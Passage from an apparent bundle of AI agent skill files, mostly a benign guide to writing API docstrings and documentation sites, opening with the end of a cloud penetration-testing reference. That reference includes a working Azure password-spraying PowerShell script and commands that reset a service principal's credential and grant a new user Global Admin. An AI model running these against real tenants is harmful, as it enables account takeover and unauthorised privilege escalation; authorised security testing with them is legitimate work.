Scripts\r\n\r\nCreate `regions.txt`:\r\n```\r\nus-east-1\r\nus-east-2\r\nus-west-1\r\nus-west-2\r\nca-central-1\r\neu-west-1\r\neu-west-2\r\neu-west-3\r\neu-central-1\r\neu-north-1\r\nap-southeast-1\r\nap-southeast-2\r\nap-south-1\r\nap-northeast-1\r\nap-northeast-2\r\nap-northeast-3\r\nsa-east-1\r\n```\r\n\r\n### List All EC2 Public IPs\r\n\r\n```bash\r\nwhile read r; do\r\n    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt\r\ndone < regions.txt\r\nsort -u ec2-public-ips.txt -o ec2-public-ips.txt\r\n```\r\n\r\n### List All ELB DNS Addresses\r\n\r\n```bash\r\nwhile read r; do\r\n    aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt\r\n    aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt\r\ndone < regions.txt\r\nsort -u elb-public-dns.txt -o elb-public-dns.txt\r\n```\r\n\r\n### List All RDS DNS Addresses\r\n\r\n```bash\r\nwhile read r; do\r\n    aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt\r\ndone < regions.txt\r\nsort -u rds-public-dns.txt -o rds-public-dns.txt\r\n```\r\n\r\n### Get CloudFormation Outputs\r\n\r\n```bash\r\nwhile read r; do\r\n    aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt\r\ndone < regions.txt\r\n```\r\n\r\n## ScoutSuite jq Parsing Queries\r\n\r\n### AWS Queries\r\n\r\n```bash\r\n# Find All Lambda Environment Variables\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt\r\ndone\r\n\r\n# Find World Listable S3 Buckets\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings.\"s3-bucket-AuthenticatedUsers-read\".items[]' >> s3-buckets-world-listable.txt\r\ndone\r\n\r\n# Find All EC2 User Data\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt\r\ndone\r\n\r\n# Find EC2 Security Groups That Whitelist AWS CIDRs\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings.\"ec2-security-group-whitelists-aws\".items' >> ec2-security-group-whitelists-aws-cidrs.txt\r\ndone\r\n\r\n# Find All EC2 EBS Volumes Unencrypted\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt\r\ndone\r\n\r\n# Find All EC2 EBS Snapshots Unencrypted\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt\r\ndone\r\n```\r\n\r\n### Azure Queries\r\n\r\n```bash\r\n# List All Azure App Service Host Names\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]'\r\n\r\n# List All Azure SQL Servers\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,\".database.windows.net\",\"\\n\"'\r\n\r\n# List All Azure Virtual Machine Hostnames\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,\".\",.location,\".cloudapp.windows.net\",\"\\n\"'\r\n\r\n# List Storage Accounts\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name'\r\n\r\n# List Disks Encrypted with Platform Managed Keys\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = \"EncryptionAtRestWithPlatformKey\") | .name' > disks-with-pmks.txt\r\n```\r\n\r\n## Password Spraying with Az PowerShell\r\n\r\n```powershell\r\n$userlist = Get-Content userlist.txt\r\n$passlist = Get-Content passlist.txt\r\n$linenumber = 0\r\n$count = $userlist.count\r\nforeach($line in $userlist){\r\n    $user = $line\r\n    $pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force\r\n    $current = $linenumber + 1\r\n    Write-Host -NoNewline (\"`r[\" + $current + \"/\" + $count + \"]\" + \"Trying: \" + $user + \" and \" + $passlist[$linenumber])\r\n    $linenumber++\r\n    $Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)\r\n    try {\r\n        Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue\r\n        Add-Content valid-creds.txt ($user + \"|\" + $passlist[$linenumber - 1])\r\n        Write-Host -ForegroundColor green (\"`nGot something here: $user and \" + $passlist[$linenumber - 1])\r\n    }\r\n    catch {\r\n        $Failure = $_.Exception\r\n        if ($Failure -match \"ID3242\") { continue }\r\n        else {\r\n            Write-Host -ForegroundColor green (\"`nGot something here: $user and \" + $passlist[$linenumber - 1])\r\n            Add-Content valid-creds.txt ($user + \"|\" + $passlist[$linenumber - 1])\r\n            Add-Content valid-creds.txt $Failure.Message\r\n            Write-Host -ForegroundColor red $Failure.Message\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n## Service Principal Attack Path\r\n\r\n```bash\r\n# Reset service principal credential\r\naz ad sp credential reset --id <app_id>\r\naz ad sp credential list --id <app_id>\r\n\r\n# Login as service principal\r\naz login --service-principal -u \"app id\" -p \"password\" --tenant <tenant ID> --allow-no-subscriptions\r\n\r\n# Create new user in tenant\r\naz ad user create --display-name <name> --password <password> --user-principal-name <upn>\r\n\r\n# Add user to Global Admin via MS Graph\r\n$Body=\"{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}\"\r\naz rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers \"Content-Type=application/json\" --body $Body\r\n```\r\n\r\n## Additional Tools Reference\r\n\r\n| Tool | URL | Purpose |\r\n|------|-----|---------|\r\n| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment |\r\n| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation |\r\n| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration |\r\n| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing |\r\n| MSOLSpray | github.com/dafthack | O365 password spraying |\r\n| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths |\r\n| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration |\r\n| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation |\r\n| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing |\r\n| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery |\r\n| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning |\r\n| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning |\r\n| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification |\r\n| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway |\r\n\r\n## Vulnerable Training Environments\r\n\r\n| Platform | URL | Purpose |\r\n|----------|-----|---------|\r\n| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab |\r\n| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs |\r\n| Flaws Cloud | flaws.cloud | AWS CTF challenges |\r\n| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges |\r\n","skills/code-documenter/SKILL.md":"---\nname: code-documenter\ndescription: Use when adding docstrings, creating API documentation, or building documentation sites. Invoke for OpenAPI/Swagger specs, JSDoc, doc portals, tutorials, user guides.\nlicense: MIT\nmetadata:\n  author: https://github.com/Jeffallan\n  version: \"1.0.0\"\n  domain: quality\n  triggers: documentation, docstrings, OpenAPI, Swagger, JSDoc, comments, API docs, tutorials, user guides, doc site\n  role: specialist\n  scope: implementation\n  output-format: code\n  related-skills: spec-miner, fullstack-guardian, code-reviewer\n---\n\n# Code Documenter\n\nDocumentation specialist for inline documentation, API specs, documentation sites, and developer guides.\n\n## Role Definition\n\nYou are a senior technical writer with 8+ years of experience documenting software. You specialize in language-specific docstring formats, OpenAPI/Swagger specifications, interactive documentation portals, static site generation, and creating comprehensive guides that developers actually use.\n\n## When to Use This Skill\n\n- Adding docstrings to functions and classes\n- Creating OpenAPI/Swagger documentation\n- Building documentation sites (Docusaurus, MkDocs, VitePress)\n- Documenting APIs with framework-specific patterns\n- Creating interactive API portals (Swagger UI, Redoc, Stoplight)\n- Writing getting started guides and tutorials\n- Documenting multi-protocol APIs (REST, GraphQL, WebSocket, gRPC)\n- Generating documentation reports and coverage metrics\n\n## Core Workflow\n\n1. **Discover** - Ask for format preference and exclusions\n2. **Detect** - Identify language and framework\n3. **Analyze** - Find undocumented code\n4. **Document** - Apply consistent format\n5. **Report** - Generate coverage summary\n\n## Reference Guide\n\nLoad detailed guidance based on context:\n\n| Topic                   | Reference                               | Load When                                            |\n| ----------------------- | --------------------------------------- | ---------------------------------------------------- |\n| Python Docstrings       | `references/python-docstrings.md`       | Google, NumPy, Sphinx styles                         |\n| TypeScript JSDoc        | `references/typescript-jsdoc.md`        | JSDoc patterns, TypeScript                           |\n| FastAPI/Django API      | `references/api-docs-fastapi-django.md` | Python API documentation                             |\n| NestJS/Express API      | `references/api-docs-nestjs-express.md` | Node.js API documentation                            |\n| Coverage Reports        | `references/coverage-reports.md`        | Generating documentation reports                     |\n| Documentation Systems   | `references/documentation-systems.md`   | Doc sites, static generators, search, testing        |\n| Interactive API Docs    | `references/interactive-api-docs.md`    | OpenAPI 3.1, portals, GraphQL, WebSocket, gRPC, SDKs |\n| User Guides & Tutorials | `references/user-guides-tutorials.md`   | Getting started, tutorials, troubleshooting, FAQs    |\n\n## Constraints\n\n### MUST DO\n\n- Ask for format preference before starting\n- Detect framework for correct API doc strategy\n- Document all public functions/classes\n- Include parameter types and descriptions\n- Document exceptions/errors\n- Test code examples in documentation\n- Generate coverage report\n\n### MUST NOT DO\n\n- Assume docstring format without asking\n- Apply wrong API doc strategy for framework\n- Write inaccurate or untested documentation\n- Skip error documentation\n- Document obvious getters/setters verbosely\n- Create documentation that's hard to maintain\n\n## Output Formats\n\nDepending on the task, provide:\n\n1. **Code Documentation:** Documented files + coverage report\n2. **API Docs:** OpenAPI specs + portal configuration\n3. **Doc Sites:** Site configuration + content structure + build instructions\n4. **Guides/Tutorials:** Structured markdown with examples + diagrams\n\n## Knowledge Reference\n\nGoogle/NumPy/Sphinx docstrings, JSDoc, OpenAPI 3.0/3.1, AsyncAPI, gRPC/protobuf, FastAPI, Django, NestJS, Express, GraphQL, Docusaurus, MkDocs, VitePress, Swagger UI, Redoc, Stoplight\n","skills/code-documenter/references/api-docs-fastapi-django.md":"# API Documentation: FastAPI & Django\n\n## FastAPI (Auto-generates from types)\n\nFastAPI automatically generates OpenAPI documentation from type hints and docstrings.\n\n### Endpoint Documentation\n\n```python\nfrom fastapi import FastAPI, HTTPException, status\nfrom pydantic import BaseModel, Field\n\nclass UserCreate(BaseModel):\n    \"\"\"User creation request body.\"\"\"\n\n    name: str = Field(..., min_length=1, max_length=100, example=\"John Doe\")\n    email: str = Field(..., example=\"john@example.com\")\n\nclass UserResponse(BaseModel):\n    \"\"\"User response with generated ID.\"\"\"\n\n    id: int = Field(..., example=1)\n    name: str\n    email: str\n\n@app.post(\n    \"/users\",\n    response_model=UserResponse,\n    status_code=status.HTTP_201_CREATED,\n    summary=\"Create a new user\",\n    tags=[\"Users\"],\n)\nasync def create_user(user: UserCreate) -> UserResponse:\n    \"\"\"Create a new user account.\n\n    Args:\n        user: User creation data including name and email.\n\n    Returns:\n        Created user with generated ID.\n\n    Raises:\n        HTTPException: 400 if email already exists.\n    \"\"\"\n```\n\n### Router with Tags\n\n```python\nfrom fastapi import APIRouter\n\nrouter = APIRouter(\n    prefix=\"/users\",\n    tags=[\"Users\"],\n    responses={404: {\"description\": \"Not found\"}},\n)\n\n@router.get(\n    \"/{user_id}\",\n    response_model=UserResponse,\n    summary=\"Get user by ID\",\n)\nasync def get_user(user_id: int) -> UserResponse:\n    \"\"\"Retrieve a user by their unique identifier.\"\"\"\n```\n\n## Django REST Framework (drf-spectacular)\n\n### ViewSet Documentation\n\n```python\nfrom rest_framework import viewsets, status\nfrom rest_framework.decorators import action\nfrom drf_spectacular.utils import extend_schema, OpenApiParameter\n\nclass UserViewSet(viewsets.ModelViewSet):\n    \"\"\"\n    ViewSet for managing user accounts.\n\n    list: Get all users with pagination.\n    create: Create a new user account.\n    retrieve: Get a specific user by ID.\n    update: Update all user fields.\n    partial_update: Update specific user fields.\n    destroy: Delete a user account.\n    \"\"\"\n\n    queryset = User.objects.all()\n    serializer_class = UserSerializer\n\n    @extend_schema(\n        summary=\"Get current user\",\n        description=\"Returns the authenticated user's profile\",\n        responses={200: UserSerializer},\n    )\n    @action(detail=False, methods=[\"get\"])\n    def me(self, request):\n        \"\"\"Get the authenticated user's profile.\"\"\"\n        serializer = self.get_serializer(request.user)\n        return Response(serializer.data)\n```\n\n### Serializer Documentation\n\n```python\nfrom rest_framework import serializers\n\nclass UserSerializer(serializers.ModelSerializer):\n    \"\"\"Serializer for user model with validation.\"\"\"\n\n    class Meta:\n        model = User\n        fields = [\"id\", \"name\", \"email\", \"created_at\"]\n        read_only_fields = [\"id\", \"created_at\"]\n\n    name = serializers.CharField(\n        help_text=\"User's display name\",\n        max_length=100,\n    )\n    email = serializers.EmailField(\n        help_text=\"User's email address (unique)\",\n    )\n```\n\n### Custom Schema\n\n```python\nfrom drf_spectacular.utils import extend_schema, OpenApiExample\n\n@extend_schema(\n    request=UserCreateSerializer,\n    responses={\n        201: UserSerializer,\n        400: OpenApiTypes.OBJECT,\n    },\n    examples=[\n        OpenApiExample(\n            \"Valid request\",\n            value={\"name\": \"John\", \"email\": \"john@example.com\"},\n        ),\n    ],\n)\ndef create(self, request):\n    \"\"\"Create a new user.\"\"\"\n```\n\n## Quick Reference\n\n| Framework | Documentation Source          | Output          |\n| --------- | ----------------------------- | --------------- |\n| FastAPI   | Type hints + docstrings       | Auto Swagger UI |\n| DRF       | Serializers + drf-spectacular | Auto Swagger UI |\n\n| FastAPI Decorator | Purpose                    |\n| ----------------- | -------------------------- |\n| `summary`         | Short endpoint description |\n| `description`     | Detailed description       |\n| `tags`            | Group endpoints            |\n| `response_model`  | Response schema            |\n| `responses`       | Additional response codes  |\n\n| DRF Decorator      | Purpose           |\n| ------------------ | ----------------- |\n| `@extend_schema`   | Customize schema  |\n| `OpenApiParameter` | Query/path params |\n| `OpenApiExample`   | Request examples  |\n","skills/code-documenter/references/api-docs-nestjs-express.md":"# API Documentation: NestJS & Express\n\n## NestJS (@nestjs/swagger)\n\nNestJS requires explicit decorators for OpenAPI documentation.\n\n### Controller Documentation\n\n```typescript\nimport { Controller, Post, Body, Get, Param } from \"@nestjs/common\"\nimport { ApiTags, ApiOperation, ApiResponse, ApiParam, ApiBearerAuth } from \"@nestjs/swagger\"\n\n@ApiTags(\"Users\")\n@ApiBearerAuth()\n@Controller(\"users\")\nexport class UsersController {\n  @Post()\n  @ApiOperation({ summary: \"Create a new user\" })\n  @ApiResponse({\n    status: 201,\n    description: \"User created successfully\",\n    type: UserDto,\n  })\n  @ApiResponse({\n    status: 400,\n    description: \"Invalid input data\",\n  })\n  async create(@Body() dto: CreateUserDto): Promise<UserDto> {\n    return this.usersService.create(dto)\n  }\n\n  @Get(\":id\")\n  @ApiOperation({ summary: \"Get user by ID\" })\n  @ApiParam({\n    name: \"id\",\n    description: \"User unique identifier\",\n    example: \"123\",\n  })\n  @ApiResponse({ status: 200, type: UserDto })\n  @ApiResponse({ status: 404, description: \"User not found\" })\n  async findOne(@Param(\"id\") id: string): Promise<UserDto> {\n    return this.usersService.findOne(id)\n  }\n}\n```\n\n### DTO Documentation\n\n```typescript\nimport { ApiProperty, ApiPropertyOptional } from \"@nestjs/swagger\"\nimport { IsEmail, IsString, MinLength } from \"class-validator\"\n\nexport class CreateUserDto {\n  @ApiProperty({\n    description: \"User's display name\",\n    example: \"John Doe\",\n    minLength: 1,\n    maxLength: 100,\n  })\n  @IsString()\n  @MinLength(1)\n  name: string\n\n  @ApiProperty({\n    description: \"User's email address\",\n    example: \"john@example.com\",\n  })\n  @IsEmail()\n  email: string\n\n  @ApiPropertyOptional({\n    description: \"Profile picture URL\",\n    example: \"https://example.com/avatar.jpg\",\n  })\n  avatarUrl?: string\n}\n```\n\n## Express (swagger-jsdoc)\n\nExpress uses JSDoc comments with swagger annotations.\n\n### Setup\n\n```javascript\nconst swaggerJsdoc = require(\"swagger-jsdoc\")\nconst swaggerUi = require(\"swagger-ui-express\")\n\nconst options = {\n  definition: {\n    openapi: \"3.0.0\",\n    info: {\n      title: \"API Documentation\",\n      version: \"1.0.0\",\n    },\n  },\n  apis: [\"./routes/*.js\"],\n}\n\nconst specs = swaggerJsdoc(options)\napp.use(\"/api-docs\", swaggerUi.serve, swaggerUi.setup(specs))\n```\n\n### Route Documentation\n\n```javascript\n/**\n * @swagger\n * /users:\n *   post:\n *     summary: Create a new user\n *     tags: [Users]\n *     requestBody:\n *       required: true\n *       content:\n *         application/json:\n *           schema:\n *             $ref: '#/components/schemas/CreateUser'\n *     responses:\n *       201:\n *         description: User created successfully\n *         content:\n *           application/json:\n *             schema:\n *               $ref: '#/components/schemas/User'\n *       400:\n *         description: Invalid input\n */\nrouter.post(\"/users\", createUser)\n\n/**\n * @swagger\n * /users/{id}:\n *   get:\n *     summary: Get user by ID\n *     tags: [Users]\n *     parameters:\n *       - in: path\n *         name: id\n *         required: true\n *         schema:\n *           type: string\n *         description: User ID\n *     responses:\n *       200:\n *         description: User found\n *         content:\n *           application/json:\n *             schema:\n *               $ref: '#/components/schemas/User'\n *       404:\n *         description: User not found\n */\nrouter.get(\"/users/:id\", getUser)\n```\n\n### Schema Documentation\n\n```javascript\n/**\n * @swagger\n * components:\n *   schemas:\n *     CreateUser:\n *       type: object\n *       required:\n *         - name\n *         - email\n *       properties:\n *         name:\n *           type: string\n *           description: User's display name\n *           example: John Doe\n *         email:\n *           type: string\n *           format: email\n *           description: User's email address\n *           example: john@example.com\n *     User:\n *       allOf:\n *         - $ref: '#/components/schemas/CreateUser'\n *         - type: object\n *           properties:\n *             id:\n *               type: string\n *               description: Unique identifier\n *             createdAt:\n *               type: string\n *               format: date-time\n */\n```\n\n## Quick Reference\n\n| NestJS Decorator   | Purpose                |\n| ------------------ | ---------------------- |\n| `@ApiTags()`       | Group endpoints        |\n| `@ApiOperation()`  | Endpoint summary       |\n| `@ApiResponse()`   | Response documentation |\n| `@ApiParam()`      | Path parameter         |\n| `@ApiQuery()`      | Query parameter        |\n| `@ApiBody()`       | Request body           |\n| `@ApiBearerAuth()` | Auth requirement       |\n| `@ApiProperty()`   | DTO property           |\n\n| Express swagger-jsdoc | Purpose             |\n| --------------------- | ------------------- |\n| `@swagger`            | Start swagger block |\n| `tags`                | Group endpoints     |\n| `summary`             | Short description   |\n| `parameters`          | Path/query params   |\n| `requestBody`         | Request body schema |\n| `responses`           | Response schemas    |\n| `$ref`                | Reference schema    |\n","skills/code-documenter/references/coverage-reports.md":"# Coverage Reports\n\n## Documentation Coverage Report Template\n\n````markdown\n# Documentation Report: {project_name}\n\n## Summary\n\n- **Files analyzed**: 45\n- **Functions documented**: 120/150 (80%)\n- **Classes documented**: 25/25 (100%)\n- **API endpoints documented**: 30/30 (100%)\n\n## Coverage Before/After\n\n- Before: 45%\n- After: 92%\n\n## Files Modified\n\n| File                     | Functions Added | Notes                 |\n| ------------------------ | --------------- | --------------------- |\n| src/services/user.ts     | 8               | All public methods    |\n| src/services/auth.ts     | 5               | Added examples        |\n| src/controllers/users.ts | 6               | Added @Api decorators |\n| src/dto/user.dto.ts      | 4               | Added @ApiProperty    |\n\n## API Documentation\n\n- **Framework**: NestJS\n- **Strategy**: @nestjs/swagger decorators\n- **Swagger UI**: /api/docs\n- **OpenAPI spec**: /api-json\n\n## Documentation Style\n\n- **Python**: Google style docstrings\n- **TypeScript**: JSDoc with @param, @returns\n- **API**: OpenAPI 3.0 via decorators\n\n## Next Steps\n\n### Recommendations\n\n1. Run `npm run docs:lint` to validate JSDoc\n2. Add `eslint-plugin-jsdoc` to enforce documentation\n3. Consider adding examples for complex functions\n4. Set up documentation CI checks\n\n### Missing Documentation\n\n| File                | Missing     | Priority |\n| ------------------- | ----------- | -------- |\n| src/utils/crypto.ts | 3 functions | High     |\n| src/helpers/date.ts | 2 functions | Medium   |\n\n### CI Integration\n\n```yaml\n# Add to CI pipeline\n- name: Check documentation\n  run: npm run docs:check\n\n- name: Generate API docs\n  run: npm run docs:generate\n```\n````\n\n````\n\n## Checklist During Documentation\n\n```markdown\n## Documentation Checklist\n\n### Before Starting\n- [ ] Confirmed format preference (Google/JSDoc/etc.)\n- [ ] Identified files to exclude (tests, generated)\n- [ ] Detected framework for API docs\n\n### Functions/Methods\n- [ ] All public functions documented\n- [ ] Parameters described with types\n- [ ] Return values documented\n- [ ] Exceptions/errors documented\n- [ ] Examples added for complex functions\n\n### Classes\n- [ ] Class purpose described\n- [ ] Constructor parameters documented\n- [ ] Public methods documented\n- [ ] Important attributes explained\n\n### API Endpoints\n- [ ] All endpoints have summaries\n- [ ] Request bodies documented\n- [ ] Response schemas defined\n- [ ] Error responses documented\n- [ ] Authentication requirements noted\n\n### Final Checks\n- [ ] Ran documentation linter\n- [ ] Verified Swagger UI renders correctly\n- [ ] No inaccurate documentation\n- [ ] Coverage report generated\n````\n\n## Framework-Specific Linting\n\n```bash\n# JavaScript/TypeScript - ESLint\nnpm install eslint-plugin-jsdoc --save-dev\n# Add to .eslintrc: \"plugins\": [\"jsdoc\"]\n\n# Python - pydocstyle\npip install pydocstyle\npydocstyle --convention=google src/\n\n# Python - interrogate (coverage)\npip install interrogate\ninterrogate -v src/\n```\n\n## Quick Reference\n\n| Metric                | Good | Acceptable | Poor  |\n| --------------------- | ---- | ---------- | ----- |\n| Function coverage     | >90% | 70-90%     | <70%  |\n| Class coverage        | 100% | >90%       | <90%  |\n| API endpoint coverage | 100% | 100%       | <100% |\n| Example coverage      | >50% | 30-50%     | <30%  |\n","skills/code-documenter/references/documentation-systems.md":"# Documentation Systems & Infrastructure\n\n## Static Site Generators\n\n### Docusaurus (Meta)\n\n```bash\n# Setup\nnpx create-docusaurus@latest docs classic\ncd docs && npm start\n\n# Structure\ndocs/\n├── docs/           # Documentation pages\n├── blog/           # Blog posts\n├── src/\n│   └── pages/      # Custom pages\n└── docusaurus.config.js\n```\n\n**docusaurus.config.js:**\n\n```javascript\nmodule.exports = {\n  title: \"My API\",\n  tagline: \"Build amazing things\",\n  url: \"https://docs.example.com\",\n  baseUrl: \"/\",\n\n  themeConfig: {\n    navbar: {\n      items: [\n        { to: \"/docs/intro\", label: \"Docs\", position: \"left\" },\n        { to: \"/api\", label: \"API\", position: \"left\" },\n      ],\n    },\n\n    // Algolia search\n    algolia: {\n      apiKey: \"YOUR_API_KEY\",\n      indexName: \"your_index\",\n      contextualSearch: true,\n    },\n\n    prism: {\n      theme: lightCodeTheme,\n      darkTheme: darkCodeTheme,\n      additionalLanguages: [\"python\", \"rust\"],\n    },\n  },\n}\n```\n\n### MkDocs (Python)\n\n```yaml\n# mkdocs.yml\nsite_name: My API Documentation\ntheme:\n  name: material\n  features:\n    - navigation.tabs\n    - navigation.sections\n    - toc.integrate\n    - search.suggest\n    - search.highlight\n  palette:\n    - scheme: default\n      toggle:\n        icon: material/brightness-7\n        name: Switch to dark mode\n    - scheme: slate\n      toggle:\n        icon: material/brightness-4\n        name: Switch to light mode\n\nplugins:\n  - search\n  - mkdocstrings:\n      handlers:\n        python:\n          options:\n            show_source: true\n  - git-revision-date-localized\n\nmarkdown_extensions:\n  - pymdownx.highlight\n  - pymdownx.superfences\n  - admonition\n  - codehilite\n\nnav:\n  - Home: index.md\n  - Getting Started: getting-started.md\n  - API Reference: api/\n```\n\n### VitePress (Vue)\n\n```typescript\n// .vitepress/config.ts\nexport default defineConfig({\n  title: \"API Docs\",\n  description: \"Developer documentation\",\n\n  themeConfig: {\n    nav: [\n      { text: \"Guide\", link: \"/guide/\" },\n      { text: \"API\", link: \"/api/\" },\n    ],\n\n    sidebar: {\n      \"/guide/\": [\n        {\n          text: \"Introduction\",\n          items: [\n            { text: \"Getting Started\", link: \"/guide/getting-started\" },\n            { text: \"Configuration\", link: \"/guide/config\" },\n          ],\n        },\n      ],\n    },\n\n    search: {\n      provider: \"local\",\n    },\n\n    editLink: {\n      pattern: \"https://github.com/user/repo/edit/main/docs/:path\",\n    },\n  },\n})\n```\n\n## Multi-Version Documentation\n\n### Version Switcher\n\n```javascript\n// Docusaurus versions\n{\n  versions: {\n    current: {\n      label: '2.0 (Next)',\n      path: 'next',\n    },\n  },\n  onlyIncludeVersions: ['current', '1.5', '1.4'],\n}\n```\n\n### Migration Guides\n\n````markdown\n# Migration Guide: v1 to v2\n\n## Breaking Changes\n\n### Authentication\n\n**v1:**\n\n```python\nclient.authenticate(api_key)\n```\n````\n\n**v2:**\n\n```python\nclient = Client(api_key=api_key)  # Pass in constructor\n```\n\n### Renamed Methods\n\n| v1              | v2              | Notes           |\n| --------------- | --------------- | --------------- |\n| `get_user()`    | `fetch_user()`  | Async now       |\n| `delete_user()` | `remove_user()` | Returns Promise |\n\n## Deprecation Timeline\n\n- v1.x: Supported until Dec 2025\n- v2.0: Released Jan 2025\n- v2.1: Current (June 2025)\n\n````\n\n## Search Implementation\n\n### Algolia DocSearch\n\n```html\n<!-- Add to theme -->\n<link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/npm/@docsearch/css@3\" />\n\n<script src=\"https://cdn.jsdelivr.net/npm/@docsearch/js@3\"></script>\n<script>\n  docsearch({\n    appId: 'YOUR_APP_ID',\n    apiKey: 'YOUR_API_KEY',\n    indexName: 'your_index',\n    container: '#docsearch',\n  });\n</script>\n````\n\n### Local Search (Lunr.js)\n\n```javascript\nconst idx = lunr(function () {\n  this.ref(\"id\")\n  this.field(\"title\", { boost: 10 })\n  this.field(\"content\")\n\n  documents.forEach((doc) => this.add(doc))\n})\n\n// Search\nconst results = idx.search(\"authentication\")\n```\n\n## Documentation Testing\n\n### Link Checking\n\n```bash\n# linkcheck (Python)\npip install linkchecker\nlinkchecker http://localhost:3000/docs\n\n# broken-link-checker (Node)\nnpm install -g broken-link-checker\nblc http://localhost:3000 -ro\n```\n\n### Code Example Testing\n\n```python\n# doctest for Python examples\n\"\"\"\n>>> add(2, 3)\n5\n>>> add(-1, 1)\n0\n\"\"\"\n\n# Run tests\npython -m doctest -v docs/*.md\n```\n\n```javascript\n// Jest for TypeScript examples\n// Extract code blocks and test\nimport { runExamples } from \"./test-docs\"\n\ntest(\"API examples work\", async () => {\n  const examples = extractExamples(\"./docs/api.md\")\n  await expect(runExamples(examples)).resolves.toBeTruthy()\n})\n```\n\n## Performance Optimization\n\n### Build Optimization\n\n```javascript\n// Webpack/Vite config\nexport default {\n  build: {\n    rollupOptions: {\n      output: {\n        manualChunks: {\n          vendor: [\"react\", \"react-dom\"],\n        },\n      },\n    },\n  },\n\n  optimizeDeps: {\n    include: [\"prismjs\"],\n  },\n}\n```\n\n### CDN & Caching\n\n```nginx\n# nginx.conf\nlocation /docs {\n  expires 1y;\n  add_header Cache-Control \"public, immutable\";\n}\n\nlocation ~* \\.(html)$ {\n  expires 1h;\n  add_header Cache-Control \"public, must-revalidate\";\n}\n```\n\n## Analytics Integration\n\n### Google Analytics\n\n```javascript\n// Docusaurus\ngtag: {\n  trackingID: 'G-XXXXXXXXXX',\n  anonymizeIP: true,\n},\n```\n\n### Custom Analytics\n\n```javascript\n// Track search queries\nfunction trackSearch(query, results) {\n  analytics.track(\"docs_search\", {\n    query,\n    resultCount: results.length,\n    timestamp: new Date(),\n  })\n}\n```\n\n## Quick Reference\n\n| Tool       | Best For                      | Tech Stack     |\n| ---------- | ----------------------------- | -------------- |\n| Docusaurus | React projects, versioning    | React, MDX     |\n| MkDocs     | Python projects, simple setup | Python, Jinja2 |\n| VitePress  | Vue projects, fast builds     | Vue, Vite      |\n| Nextra     | Next.js integration           | React, Next.js |\n| Mintlify   | Modern UI, AI search          | React          |\n\n| Search Solution   | Cost             | Features            |\n| ----------------- | ---------------- | ------------------- |\n| Algolia DocSearch | Free (OSS)       | Fast, typo-tolerant |\n| Local (Lunr.js)   | Free             | Offline, no server  |\n| Typesense         | Free (self-host) | Privacy-focused     |\n| Meilisearch       | Free (self-host) | Fast, relevance     |\n","skills/code-documenter/references/interactive-api-docs.md":"# Interactive API Documentation\n\n## OpenAPI 3.1 Advanced Features\n\n### Reusable Components\n\n```yaml\nopenapi: 3.1.0\ninfo:\n  title: Users API\n  version: 2.0.0\n\ncomponents:\n  # Reusable schemas\n  schemas:\n    User:\n      type: object\n      required: 